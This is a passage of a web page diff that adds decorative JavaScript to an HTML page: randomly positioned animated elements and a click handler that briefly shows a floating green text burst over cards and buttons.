var s = 0.6 + Math.random() * 0.5;
|
|
2227
|
+
el.style.cssText += 'left:'+l+'%;animation-duration:'+d+'s;animation-delay:'+dl+'s;font-size:'+s+'rem;';
|
|
2228
|
+
c.appendChild(el);
|
|
2229
|
+
}
|
|
2230
|
+
})();
|
|
2231
|
+
|
|
2232
|
+
// ═══ PIXEL CARD CLICK EFFECT ═══
|
|
2233
|
+
(function() {
|
|
2234
|
+
document.addEventListener('click', function(e) {
|
|
2235
|
+
var card = e.target.closest('.stat-card, .method-card, .card, .btn');
|
|
2236
|
+
if (!card) return;
|
|
2237
|
+
// Create pixel burst
|
|
2238
|
+
var burst = document.createElement('div');
|
|
2239
|
+
burst.style.cssText = 'position:fixed;left:'+e.clientX+'px;top:'+e.clientY+'px;pointer-events:none;z-index:9999;font-family:monospace;color:#00ff41;text-shadow:0 0 8px #00ff41;font-size:14px;animation:none;transform:translate(-50%,-50%);';
|
|
2240
|
+
burst.textContent = ['★★★','✦✦✦','[ OK ]','>>>','◆◆◆','[CLICK]'][Math.floor(Math.random()*6)];
|
|
2241
|
+
document.body.appendChild(burst);
|
|
2242
|
+
var start = Date.now();
|
|
2243
|
+
function animBurst() {
|
|
2244
|
+
var t = (Date.now() - start) / 600;
|
|
2245
|
+
if (t >= 1) { document.body.removeChild(burst); return; }
|
|
2246
|
+
burst.style.transform = 'translate(-50%,-'+(50 + t*40)+'%)';
|
|
2247
|
+
burst.style.opacity = 1 - t;
|
|
2248
|
+
requestAnimationFrame(animBurst);
|
|
2249
|
+
}
|
|
2250
|
+
requestAnimationFrame(animBurst);
|
|
2251
|
+
});
|
|
2252
|
+
})();
|
|
2253
|
+
</script>
|
|
2254
|
+
|
|
2255
|
+
</body>
|
|
2256
|
+
</html>
|